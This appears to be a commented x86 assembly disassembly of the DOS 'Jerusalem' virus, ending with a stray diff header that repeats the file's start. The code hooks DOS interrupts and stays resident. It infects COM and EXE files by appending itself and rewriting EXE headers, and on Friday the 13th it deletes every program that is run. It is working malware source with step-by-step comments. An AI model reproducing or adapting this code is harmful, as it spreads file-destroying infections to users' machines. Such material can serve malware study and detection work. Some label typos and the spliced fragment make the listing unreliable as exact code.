||||
|
||||
A_FLAG DW 7E48H ;???
|
||||
|
||||
A0021 DB 000H,000H,000H,000H,000H,000H,000H
|
||||
DB 000H,000H,000H,000H
|
||||
|
||||
A002C DW 0 ;A SEGMENT
|
||||
|
||||
DB 000H,000H
|
||||
A0030 DB 000H
|
||||
|
||||
A0031 DW 0178EH ;OLD ES VALUE
|
||||
|
||||
A0033 DW 0080H ;
|
||||
;
|
||||
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
|
||||
DW 80H ;COMMAND LINE ADDRESS
|
||||
DW 178EH ;+4
|
||||
DW 005CH ;FCB #1 ADDRESS
|
||||
DW 178EH ;+8
|
||||
DW 006CH ;FCB #2 ADDRESS
|
||||
DW 0178EH ;+12
|
||||
;
|
||||
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
|
||||
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
|
||||
HOST_IP DW 00C5H ;
|
||||
HOST_CS DW 347AH ;
|
||||
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
|
||||
;
|
||||
A004B DW 0F010H ;
|
||||
A004D DB 82H ;
|
||||
A004E DB 0 ;
|
||||
|
||||
EXE_HDR DB 1CH DUP (?) ;004F
|
||||
|
||||
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
|
||||
|
||||
HANDLE DW 0005H ;0070
|
||||
HOST_ATT DW 0020H ;0072
|
||||
HOST_DATE DW 0021H ;0074
|
||||
HOST_TIME DW 002DH ;0076
|
||||
|
||||
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
|
||||
|
||||
A007A DW 0010H
|
||||
|
||||
HOST_SIZE DW 27C0H,0001H ;007C
|
||||
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
|
||||
|
||||
COMMAND_COM DB 'COMMAND.COM'
|
||||
|
||||
DB 1
|
||||
A0090 DB 0,0,0,0,0
|
||||
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
CONTINUE: ;
|
||||
CLD ;
|
||||
MOV AH,0E0H ;DO A ???...
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L01B5 ;
|
||||
CMP AH,3 ;
|
||||
JC L01B5 ;
|
||||
;
|
||||
MOV AH,0DDH ;
|
||||
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
|
||||
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
|
||||
ADD SI,DI ;SI = BEGINNING OF HOST CODE
|
||||
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
|
||||
INT 21H ;
|
||||
;
|
||||
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
|
||||
ADD AX,10H ;
|
||||
MOV SS,AX ;SS = TWEEKed CS
|
||||
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
|
||||
;
|
||||
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
|
||||
;
|
||||
PUSH AX ;JMP FAR CS+10H:IP-100H
|
||||
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
|
||||
PUSH AX ;
|
||||
RETF ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
ORG 0C5h ;
|
||||
;---------------------------------------;
|
||||
;
|
||||
BEGIN_EXE: ;EXE FILES START HERE
|
||||
CLD ;
|
||||
PUSH ES ;
|
||||
;
|
||||
MOV CS:[A0031],ES ;
|
||||
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
|
||||
MOV CS:[EXEC_BLOCK+8],ES ;
|
||||
MOV CS:[EXEC_BLOCK+12],ES ;
|
||||
;
|
||||
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
|
||||
ADD AX,10H ;
|
||||
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
|
||||
ADD CS:[HOST_SS],AX ;
|
||||
;
|
||||
MOV AH,0E0H ;
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L0106 ;00F1 7313
|
||||
;
|
||||
CMP AH,3 ;
|
||||
POP ES ;00F6
|
||||
MOV SS,CS:[HOST_SS] ;
|
||||
MOV SP,CS:[HOST_SP] ;
|
||||
JMP far CS:[HSOT_IP] ;
|
||||
;
|
||||
L0106: XOR AX,AX ;0106 33C0
|
||||
MOV ES,AX ;0108 8EC0
|
||||
MOV AX,ES:[03FC] ;010A 26A1FC03
|
||||
MOV CS:[A004B],AX ;010E 2EA34B00
|
||||
MOV AL,ES:[03FE] ;0112 26A0FE03
|
||||
MOV CS:[A004D],AL ;0116 2EA24D00
|
||||
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
|
||||
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
|
||||
POP AX ;0127 58
|
||||
ADD AX,10H ;0128 051000
|
||||
MOV ES,AX ;012B 8EC0
|
||||
PUSH CS ;012D 0E
|
||||
POP DS ;012E 1F
|
||||
MOV CX,710H ;SIZE OF VIRUS CODE
|
||||
SHR CX,1 ;0132 D1E9
|
||||
XOR SI,SI ;0134 33F6
|
||||
MOV DI,SI ;0136 8BFE
|
||||
PUSH ES ;0138 06
|
||||
MOV AX,0142 ;0139 B84201
|
||||
PUSH AX ;013C 50
|
||||
JMP 0000:03FC ;013D EAFC030000
|
||||
;
|
||||
MOV AX,CS ;0142 8CC8
|
||||
MOV SS,AX ;0144 8ED0
|
||||
MOV SP,700H ;0146 BC0007
|
||||
XOR AX,AX ;0149 33C0
|
||||
MOV DS,AX ;014B 8ED8
|
||||
MOV AX,CS:[A004B] ;014D 2EA14B00
|
||||
MOV [03FC],AX ;0151 A3FC03
|
||||
MOV AL,CS:[A004D] ;0154 2EA04D00
|
||||
MOV [03FE],AL ;0158 A2FE03
|
||||
MOV BX,SP ;015B 8BDC
|
||||
MOV CL,04 ;015D B104
|
||||
SHR BX,CL ;015F D3EB
|
||||
ADD BX,+10 ;0161 83C310
|
||||
MOV CS:[A0033],BX ;
|
||||
;
|
||||
MOV AH,4AH ;
|
||||
MOV ES,CS:[A0031] ;
|
||||
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
|
||||
;
|
||||
MOV AX,3521 ;
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_21],BX ;
|
||||
MOV CS:[OLD_21+2],ES ;
|
||||
;
|
||||
PUSH CS ;0181 0E
|
||||
POP DS ;0182 1F
|
||||
MOV DX,offset NEW_INT_21 ;0183 BA5B02
|
||||
MOV AX,2521 ;
|
||||
INT 21H ;SAVE VECTOR
|
||||
;
|
||||
MOV ES,[A0031] ;018B 8E063100
|
||||
MOV ES,ES:[A002C] ;018F 268E062C00
|
||||
XOR DI,DI ;0194 33FF
|
||||
MOV CX,7FFFH ;0196 B9FF7F
|
||||
XOR AL,AL ;0199 32C0
|
||||
REPNE SCASB ;019C AE
|
||||
CMP ES:[DI],AL ;019D 263805
|
||||
LOOPNZ 019B ;01A0 E0F9
|
||||
MOV DX,DI ;01A2 8BD7
|
||||
ADD DX,+03 ;01A4 83C203
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
PUSH ES ;
|
||||
POP DS ;
|
||||
PUSH CS ;
|
||||
POP ES ;
|
||||
MOV BX,35H ;
|
||||
;
|
||||
PUSH DS ;01B1 ;
|
||||
PUSH ES ;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
;
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;GET DATE
|
||||
;
|
||||
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
|
||||
;
|
||||
CMP CX,1987 ;IF 1987...
|
||||
JE L01F7 ;...JUMP
|
||||
CMP AL,5 ;IF NOT FRIDAY...
|
||||
JNE L01D8 ;...JUMP
|
||||
CMP DL,0DH ;IF DATE IS NOT THE 13th...
|
||||
JNE L01D8 ;...JUMP
|
||||
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
|
||||
JMP L01F7 ;
|
||||
;
|
||||
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_08],BX ;
|
||||
MOV CS:[OLD_08],ES ;
|
||||
;
|
||||
PUSH CS ;DS=CS
|
||||
POP DS ;
|
||||
;
|
||||
MOV Word ptr [A_FLAG],7E90H ;
|
||||
;
|
||||
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
|
||||
MOV DX,offset NEW_08 ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
L01F7: POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POP ES ;
|
||||
POP DS ;
|
||||
PUSHF ;
|
||||
CALL far CS:[OLD_21] ;
|
||||
PUSH DS ;
|
||||
POP ES ;
|
||||
;
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
MOV AH,4DH ;
|
||||
INT 21H ;GET RETURN CODE OF A SUBPROCESS
|
||||
;
|
||||
;---------------------------------------;
|
||||
; THIS IS WHERE WE REMAIN RESIDENT ;
|
||||
;---------------------------------------;
|
||||
MOV AH,31H ;
|
||||
MOV DX,0600H ;020F ;
|
||||
MOV CL,04 ;
|
||||
SHR DX,CL ;
|
||||
ADD DX,10H ;
|
||||
INT 21H ;TERMINATE AND REMAIN RESIDENT
|
||||
;
|
||||
;---------------------------------------;
|
||||
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
|
||||
IRET ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
|
||||
JNE N08_10 ;IF ... JUMP
|
||||
;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
PUSH BP ;
|
||||
MOV AX,0602H ;SCROLL UP TWO LINES
|
||||
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
|
||||
MOV CX,0505H ;UPPER LEFT CORNER
|
||||
MOV DX,1010H ;LOWER RIGHT CORNER
|
||||
INT 10H ;
|
||||
POP BP ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_10: DEC Word ptr CS:[A_FLAG] ;
|
||||
JMP N08_90 ;
|
||||
MOV Word ptr CS:[A_FLAG],1 ;
|
||||
;
|
||||
PUSH AX ;
|
||||
PUSH CX ;
|
||||
PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED
|
||||
MOV CX,4001H ; IN THIS VERSION
|
||||
REP LODSB ;
|
||||
POP SI ;
|
||||
POP CX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 21 HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_21: PUSHF ;025B ;
|
||||
CMP AH,0E0H ;IF A E0 REQUEST...
|
||||
JNE N21_10 ;
|
||||
MOV AX,300H ;...RETURN AX = 300H
|
||||
POPF ; (OUR PUSHF)
|
||||
IRET ;
|
||||
;
|
||||
N21_10: CMP AH,0DDH ;0266 ;
|
||||
JE N21_30 ;IF DDH...JUMP TO _30
|
||||
CMP AH,0DEH ;
|
||||
JE N21_40 ;IF DEH...JUMP TO _40
|
||||
CMP AX,4B00H ;IF SPAWN A PROG...
|
||||
JNE N21_20 ;
|
||||
JMP N21_50 ;...JUMP TO _50
|
||||
;
|
||||
N21_20: POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
|
||||
;
|
||||
N21_30: POP AX ;REMOVE OUR (PUSHF)
|
||||
POP AX ;?
|
||||
MOV AX,100H ;
|
||||
MOV CS:[000A],AX ;
|
||||
POP AX ;
|
||||
MOV CS:[000C],AX ;
|
||||
REP MOVSB ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS:[000F] ;
|
||||
JMP far CS:[000A] ;
|
||||
;
|
||||
N21_40: ADD SP,+06 ;0298 ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS ;
|
||||
MOV SS,AX ;
|
||||
MOV SP,710H ;SIZE OF VIRUS CODE
|
||||
PUSH ES ;
|
||||
PUSH ES ;02A4 06
|
||||
XOR DI,DI ;02A5 33FF
|
||||
PUSH CS ;02A7 0E
|
||||
POP ES ;02A8 07
|
||||
MOV CX,0010 ;02A9 B91000
|
||||
MOV SI,BX ;02AC 8BF3
|
||||
MOV DI,0021 ;02AE BF2100
|
||||
REP MOVSB ;02B2 A4
|
||||
MOV AX,DS ;02B3 8CD8
|
||||
MOV ES,AX ;02B5 8EC0
|
||||
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
|
||||
ADD AX,CS:[002B] ;02BC 2E03062B00
|
||||
ADC DX,+00 ;02C1 83D200
|
||||
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
|
||||
MOV DS,AX ;02C9 8ED8
|
||||
MOV SI,DX ;02CB 8BF2
|
||||
MOV DI,DX ;02CD 8BFA
|
||||
MOV BP,ES ;02CF 8CC5
|
||||
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
|
||||
OR BX,BX ;02D6 0BDB
|
||||
JE 02ED ;02D8 7413
|
||||
MOV CX,8000 ;02DA B90080
|
||||
REP MOVSW ;02DE A5
|
||||
ADD AX,1000 ;02DF 050010
|
||||
ADD BP,1000 ;02E2 81C50010
|
||||
MOV DS,AX ;02E6 8ED8
|
||||
MOV ES,BP ;02E8 8EC5
|
||||
DEC BX ;02EA 4B
|
||||
JNE 02DA ;02EB 75ED
|
||||
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
|
||||
REP MOVSB ;02F3 A4
|
||||
POP AX ;02F4 58
|
||||
PUSH AX ;02F5 50
|
||||
ADD AX,0010 ;02F6 051000
|
||||
ADD CS:[0029],AX ;02F9 2E01062900
|
||||
ADD CS:[0025],AX ;02FE 2E01062500
|
||||
MOV AX,CS:[0021] ;0303 2EA12100
|
||||
POP DS ;0307 1F
|
||||
POP ES ;0308 07
|
||||
MOV SS,CS:[0029] ;0309 2E8E162900
|
||||
MOV SP,CS:[0027] ;030E 2E8B262700
|
||||
JMP far CS:[0023] ;0313 2EFF2E2300
|
||||
;
|
||||
;---------------------------------------;
|
||||
; IT IS TIME FOR THIS FILE TO DIE... ;
|
||||
; THIS IS WHERE IT GETS DELETED ! ;
|
||||
;---------------------------------------;
|
||||
N21_5A: XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE (ATT=0)
|
||||
;
|
||||
MOV AH,41H ;
|
||||
INT 21H ;DELETE A FILE
|
||||
;
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; START INFECTION ;
|
||||
;---------------------------------------;
|
||||
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
|
||||
JE N21_5A ;...JUMP
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
|
||||
MOV Word ptr CS:[A008F],0 ;
|
||||
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
|
||||
MOV word ptr CS:[HOST_NAME+2],DS ;
|
||||
;
|
||||
;INFECTION PROCESS OCCURS HERE ;
|
||||
PUSH AX ;034C 50
|
||||
PUSH BX ;034D 53
|
||||
PUSH CX ;034E 51
|
||||
PUSH DX ;034F 52
|
||||
PUSH SI ;0350 56
|
||||
PUSH DI ;0351 57
|
||||
PUSH DS ;0352 1E
|
||||
PUSH ES ;0353 06
|
||||
CLD ;0354 FC
|
||||
MOV DI,DX ;0355 8BFA
|
||||
XOR DL,DL ;0357 32D2
|
||||
CMP Byte ptr [DI+01],3A ;0359 807D013A
|
||||
JNE L0364 ;035D 7505
|
||||
MOV DL,[DI] ;035F 8A15
|
||||
AND DL,1F ;0361 80E21F
|
||||
;
|
||||
L0364: MOV AH,36 ;
|
||||
INT 21H ;GET DISK FREE SPACE
|
||||
CMP AX,-1 ;0368 3DFFFF
|
||||
JNE L0370 ;036B 7503
|
||||
L036D: JMP I_90 ;036D E97702
|
||||
;
|
||||
L0370: MUL BX ;0370 F7E3
|
||||
MUL CX ;0372 F7E1
|
||||
OR DX,DX ;0374 0BD2
|
||||
JNE L037D ;0376 7505
|
||||
CMP AX,710H ;0378 3D1007
|
||||
JC L036D ;037B 72F0
|
||||
L037D: MOV DX,word ptr CS:[HOST_NAME]
|
||||
PUSH DS ;0382 1E
|
||||
POP ES ;0383 07
|
||||
XOR AL,AL ;0384 32C0
|
||||
MOV CX,41 ;0386 B94100
|
||||
REPNE SCASB ;038A AE
|
||||
MOV SI,word ptr CS:[HOST_NAME]
|
||||
L0390: MOV AL,[SI] ;0390 8A04
|
||||
OR AL,AL ;0392 0AC0
|
||||
JE L03A4 ;0394 740E
|
||||
CMP AL,61 ;0396 3C61
|
||||
JC L03A1 ;0398 7207
|
||||
CMP AL,7A ;039A 3C7A
|
||||
JA L03A1 ;039C 7703
|
||||
SUB Byte ptr [SI],20 ;039E 802C20
|
||||
L03A1: INC SI ;03A1 46
|
||||
JMP L0390 ;03A2 EBEC
|
||||
;
|
||||
L03A4: MOV CX,000B ;03A4 B90B00
|
||||
SUB SI,CX ;03A7 2BF1
|
||||
MOV DI,offset COMMAND_COM ;03A9 BF8400
|
||||
PUSH CS ;03AC 0E
|
||||
POP ES ;03AD 07
|
||||
MOV CX,000B ;03AE B90B00
|
||||
REPE CMPSB ;03B2 A6
|
||||
JNE L03B8 ;03B3 7503
|
||||
JMP I_90 ;03B5 E92F02
|
||||
;
|
||||
L03B8: MOV AX,4300H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
JC L03C4 ;03BD 7205
|
||||
;
|
||||
MOV CS:[HOST_ATT],CX ;03BF ;
|
||||
L03C4: JC L03EB ;03C4 7225
|
||||
XOR AL,AL ;03C6 32C0
|
||||
MOV CS:[A004E],AL ;03C8 2EA24E00
|
||||
PUSH DS ;03CC 1E
|
||||
POP ES ;03CD 07
|
||||
MOV DI,DX ;03CE 8BFA
|
||||
MOV CX,41 ;03D0 B94100
|
||||
REPNZ SCASB ;03D4 AE
|
||||
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
|
||||
JE L03E6 ;03D9 740B
|
||||
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
|
||||
JE L03E6 ;03DF 7405
|
||||
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
|
||||
;
|
||||
L03E6: MOV AX,3D00H ;
|
||||
INT 21H ;OPEN FILE READ ONLY
|
||||
L03EB: JC L0447 ;
|
||||
MOV CS:[HANDLE],AX ;03ED ;
|
||||
;
|
||||
MOV BX,AX ;MOVE TO END OF FILE -5
|
||||
MOV AX,4202 ;
|
||||
MOV CX,-1 ;FFFFFFFB
|
||||
MOV DX,-5 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
JC L03EB ;
|
||||
;
|
||||
ADD AX,5 ;0400 ;
|
||||
MOV CS:[A0011],AX ;?SAVE HOST SIZE
|
||||
;
|
||||
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
|
||||
MOV DX,offset A006B ;
|
||||
MOV AX,CS ;
|
||||
MOV DS,AX ;
|
||||
MOV ES,AX ;
|
||||
MOV AH,3FH ;
|
||||
INT 21H ;READ FROM A FILE
|
||||
;
|
||||
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
|
||||
MOV SI,offset MS_DOS ;
|
||||
REPE CMPSB ;
|
||||
JNE L0427 ;
|
||||
MOV AH,3E ;IF == 'MsDos'...
|
||||
INT 21H ;CLOSE FILE
|
||||
JMP I_90 ;...PASS CONTROL TO DOS
|
||||
;
|
||||
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV [OLD_24],BX ;
|
||||
MOV [OLD_24+2],ES ;
|
||||
;
|
||||
MOV DX,offset NEW_24 ;
|
||||
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
LDS DX,dword ptr [HOST_NAME];
|
||||
XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
L0447: JC L0484 ;
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;
|
||||
MOV AH,3E ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
|
||||
;
|
||||
MOV AX,3D02 ;
|
||||
INT 21H ;OPEN FILE R/W
|
||||
JC L0484 ;
|
||||
;
|
||||
MOV CS:[HANDLE],AX ;0460 2EA37000
|
||||
MOV AX,CS ;0464 8CC8
|
||||
MOV DS,AX ;0466 8ED8
|
||||
MOV ES,AX ;0468 8EC0
|
||||
MOV BX,[HANDLE] ;046A 8B1E7000
|
||||
MOV AX,5700 ;046E B80057
|
||||
INT 21H ;GET/SET FILE DATE TIME
|
||||
;
|
||||
MOV [HOST_DATE],DX ;0473 89167400
|
||||
MOV [HOST_TIME],CX ;0477 890E7600
|
||||
MOV AX,4200 ;047B B80042
|
||||
XOR CX,CX ;047E 33C9
|
||||
MOV DX,CX ;0480 8BD1
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0484: JC L04C3 ;0484 723D
|
||||
;
|
||||
CMP Byte ptr [A004E],00 ;0486 803E4E0000
|
||||
JE L0490 ;048B 7403
|
||||
JMP L04E6 ;048D EB57
|
||||
;
|
||||
NOP ;048F 90
|
||||
L0490: MOV BX,1000 ;0490 BB0010
|
||||
MOV AH,48 ;0493 B448
|
||||
INT 21H ;ALLOCATE MEMORY
|
||||
JNC L04A4 ;0497 730B
|
||||
;
|
||||
MOV AH,3E ;0499 B43E
|
||||
MOV BX,[HANDLE] ;049B 8B1E7000
|
||||
INT 21H ;CLOSE FILE (OBVIOUSLY)
|
||||
JMP I_90 ;04A1 E94301
|
||||
;
|
||||
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
|
||||
MOV ES,AX ;04A8 8EC0
|
||||
XOR SI,SI ;04AA 33F6
|
||||
MOV DI,SI ;04AC 8BFE
|
||||
MOV CX,710H ;04AE B91007
|
||||
REP MOVSB ;04B2 A4
|
||||
MOV DX,DI ;04B3 8BD7
|
||||
MOV CX,[A0011] ;?GET HOST SIZE - YES
|
||||
MOV BX,[70H] ;04B9 8B1E7000
|
||||
PUSH ES ;04BD 06
|
||||
POP DS ;04BE 1F
|
||||
MOV AH,3FH ;04BF B43F
|
||||
INT 21H ;READ FROM A FILE
|
||||
L04C3: JC L04E1 ;04C3 721C
|
||||
;
|
||||
ADD DI,CX ;04C5 03F9
|
||||
;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
;
|
||||
MOV SI,offset MS_DOS ;04D0 BE0500
|
||||
MOV CX,5 ;04D3 B90500
|
||||
REP CS:MOVSB ;04D7 2EA4
|
||||
MOV CX,DI ;04D9 8BCF
|
||||
XOR DX,DX ;04DB 33D2
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L04E1: JC L04F0 ;
|
||||
JMP L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; READ EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,3F ;
|
||||
INT 21H ;READ FILE
|
||||
JC L053C ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; TWEEK EXE HEADER TO INFECTED HSOT ;
|
||||
;---------------------------------------;
|
||||
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
|
||||
MOV AX,[EXE_HDR+14] ; SS
|
||||
MOV [HOST_SS],AX ;
|
||||
MOV AX,[EXE_HDR+16] ; SP
|
||||
MOV [HOST_SP],AX ;
|
||||
MOV AX,[EXE_HDR+20] ; IP
|
||||
MOV [HOST_IP],AX ;
|
||||
MOV AX,[EXE_HDR+22] ; CS
|
||||
MOV [HOST_CS],AX ;
|
||||
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
|
||||
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
|
||||
JZ L051B ;IF FILE SIZE==0...JMP
|
||||
DEC AX ;
|
||||
L051B: MUL Word ptr [BLOCK_SIZE] ;
|
||||
ADD AX,[EXE_HDR+2] ;
|
||||
ADC DX,0 ;AX NOW = FILE SIZE
|
||||
;
|
||||
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
|
||||
ADC DX,0 ;
|
||||
AND AX,0FFF0H ;
|
||||
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
|
||||
MOV [HOST_SIZE+2],DX ;
|
||||
;
|
||||
ADD AX,710H ;(SIZE OF VIRUS)
|
||||
ADC DX,0 ;
|
||||
L053C: JC L0578 ;IF > FFFFFFFF...JMP
|
||||
DIV Word ptr [BLOCK_SIZE] ;
|
||||
OR DX,DX ;
|
||||
JE L0547 ;
|
||||
INC AX ;
|
||||
L0547: MOV [EXE_HDR+4],AX ;
|
||||
MOV [EXE_HDR+2],DX ;
|
||||
;---------------;
|
||||
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
|
||||
MOV DX,[HOST_SIZE+2] ;
|
||||
DIV Word ptr [A007A] ;
|
||||
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
|
||||
MOV [EXE_HDR+22],AX ;VALUE OF CS
|
||||
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
|
||||
MOV [EXE_HDR+14],AX ;VALUE OF SS
|
||||
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
|
||||
;---------------;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0578: JC L0584 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE INFECTED EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
MOV CX,1CH ;
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L0584: JC L0597 ;
|
||||
CMP AX,CX ;
|
||||
JNE L05A2 ;
|
||||
;
|
||||
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
|
||||
MOV CX,[HOST_SIZE+2] ;
|
||||
MOV AX,4200 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0597: JC L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE VIRUS CODE TO END OF HOST ;
|
||||
;---------------------------------------;
|
||||
XOR DX,DX ;
|
||||
MOV CX,710H ;(SIZE OF VIRUS)
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
;
|
||||
L05A2: CMP Word ptr CS:[008F],0 ;IF...
|
||||
JZ L05AE ;...SKIP
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
|
||||
JE I_90 ;...SKIP
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
|
||||
MOV DX,CS:[HOST_DATE] ;
|
||||
MOV CX,CS:[HOST_TIME] ;
|
||||
MOV AX,5701H ;
|
||||
INT 21H ;GET/SET FILE DATE/TIME
|
||||
;
|
||||
MOV AH,3EH ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
|
||||
MOV CX,CS:[HOST_ATT] ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
;
|
||||
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
|
||||
MOV AX,2524H ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
I_90: POP ES ;
|
||||
POP DS ;
|
||||
POP DI ;
|
||||
POP SI ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------
|
||||
|
||||
@@ -0,0 +1,882 @@
|
||||
PAGE 64,132
|
||||
;-----------------------------------------------------------------------;
|
||||
; THE "JERUSALEM" VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;
|
||||
ORG 100H ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
